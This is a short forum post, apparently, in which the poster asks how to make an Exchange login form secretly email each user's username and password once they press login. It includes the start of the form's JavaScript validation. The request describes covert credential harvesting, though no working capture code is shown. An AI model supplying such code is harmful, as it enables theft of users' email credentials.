I have a microsoft exchange login page that uses javascript to authenticate the user and take them to their email .

I am trying to also make the form send an email with the username & password once they press login.

Any ideas? I've put the code for the form below:

Code:
<script Language=javascript>
 <!--
  function logonForm_onsubmit()
  {
   if (logonForm.username.value.indexOf("@")
...